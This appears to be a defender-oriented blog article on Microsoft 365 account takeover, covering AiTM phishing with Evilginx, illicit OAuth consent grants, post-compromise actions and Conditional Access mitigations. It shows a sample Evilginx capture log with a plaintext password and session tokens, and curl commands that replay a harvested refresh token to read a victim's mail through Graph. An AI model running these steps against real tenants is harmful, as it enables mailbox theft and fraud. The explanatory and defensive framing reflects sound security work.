Microsoft 365 Phishing & Account Takeover Techniques

In early 2026, a Scattered Spider affiliate used an adversary-in-the-middle (AiTM) phishing kit to bypass MFA and hijack Microsoft 365 accounts at a mid-sized financial firm — stealing session tokens before the victims even noticed a login. This isn’t a novel attack. AiTM phishing against M365 has been a top-tier threat since at least 2022, and the tooling has only gotten sharper. Here’s how it works and what defenders can do about it.

AiTM Phishing: Stealing the Session Cookie

AiTM phishing sits a reverse proxy between the victim and the real Microsoft login page. The victim authenticates — MFA and all — and the proxy captures the authenticated session cookie in real time. Tools like Evilginx (a reverse proxy framework) and Modlishka make this straightforward to deploy.

Here’s what a captured session looks like inside Evilginx after a victim completes their M365 login:

[21:14:33] [inf] [session: a3f9c1] victim: j.morgan@contoso-finance.com
[21:14:33] [inf] phishlet: o365
[21:14:33] [inf] username: j.morgan@contoso-finance.com
[21:14:33] [inf] password: W!nter2026#
[21:14:33] [inf] tokens:
  .login.microsoftonline.com [ESTSAUTH]
    value: eyJ0eXAiOiJKV1Qi...(truncated)
    expires: 2026-10-18 09:14:33
  .login.microsoftonline.com [ESTSAUTHPERSISTENT]
    value: eyJ0eXAiOiJKV1Qi...(truncated)
    expires: 2026-11-17 09:14:33

The ESTSAUTHPERSISTENT cookie is the prize. It’s a persistent session token that lets the attacker authenticate as the victim without credentials or MFA — for up to 90 days, depending on tenant configuration. The attacker imports this cookie into a browser via a tool like Cookie-Editor or a Burp Suite extension, navigates to outlook.office.com, and lands directly in the victim’s inbox.

From there, the typical next move is inbox rule creation to hide forwarding, followed by business email compromise (BEC) targeting finance or HR contacts. Defenders should look for New-InboxRule audit events firing within minutes of an unusual login from a new IP — that’s the tell.

OAuth App Abuse: Persistence Without Passwords

Session cookies expire. Attackers who want durable access go after OAuth tokens by tricking users into granting a malicious app permissions on their tenant. This technique — sometimes called illicit consent grant — doesn’t require credential theft at all.

The attack flow: attacker registers an Azure AD app, crafts a consent URL requesting broad scopes (Mail.Read, Files.ReadWrite.All, offline_access), and phishes the victim into clicking it. Once the user consents, the attacker’s app holds a refresh token that survives password resets.

Using the Microsoft Graph API with a harvested refresh token to pull mail silently:

# Exchange refresh token for access token
curl -s -X POST https://login.microsoftonline.com/contoso-finance.com/oauth2/v2.0/token \
  -d "client_id=8a2f3c91-bf44-4d0e-a712-cde4f19b2201" \
  -d "grant_type=refresh_token" \
  -d "refresh_token=0.AXoA..." \
  -d "scope=https://graph.microsoft.com/Mail.Read offline_access"

# Response (trimmed)
{
  "access_token": "eyJ0eXAiOiJKV1QiLCJub25jZSI6...",
  "expires_in": 3599,
  "refresh_token": "0.AXoA...(new token issued)"
}

# Pull last 5 emails from j.morgan's inbox
curl -s -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6..." \
  "https://graph.microsoft.com/v1.0/users/j.morgan@contoso-finance.com/messages?\$top=5&\$select=subject,from,receivedDateTime"

The attacker now has a continuously refreshing token. They can read mail, exfiltrate OneDrive files, or enumerate the directory — all through legitimate Microsoft API calls that blend into normal Graph traffic. No malware, no agent, no footprint on endpoints.

To hunt this in your tenant, run the following in the Microsoft Entra admin center or via PowerShell:

Connect-MgGraph -Scopes "Application.Read.All"
Get-MgServicePrincipal -All | Where-Object {
  $_.AppOwnerOrganizationId -ne "your-tenant-id"
} | Select-Object DisplayName, AppId, AppOwnerOrganizationId | Format-Table

Any app whose AppOwnerOrganizationId doesn’t match your tenant ID is third-party. Cross-reference against your approved app list. Unknown apps with Mail.Read or Files.ReadWrite scopes are immediate red flags worth investigating.

What Attackers Do After They’re In

Account access is step one. The goal is usually money, data, or a pivot deeper into the org. Common post-compromise actions in M365 include:

• Inbox rule creation — forwarding to external addresses or auto-deleting IT security alerts
• MFA method modification — registering an attacker-controlled phone number to lock out the real user
• SharePoint/OneDrive exfil — bulk downloading files via Graph API or the browser
• Teams message interception — reading internal communications to identify targets for BEC

The unified audit log captures all of this — but only if retention is configured and someone is actually watching. Most orgs aren’t.

What To Do Now

Enable Conditional Access Policy: Require compliant device + sign-in frequency set to 1 hour for all privileged roles today. This directly kills the long-lived session cookie attack — even if an attacker steals the ESTSAUTHPERSISTENT token, the policy forces reauthentication from a managed device they don’t control. In Entra ID, go to Protection > Conditional Access > New Policy, scope it to your Global Admins and Exchange Admins first, then expand from there. It takes 15 minutes to configure and cuts the blast radius of AiTM phishing significantly.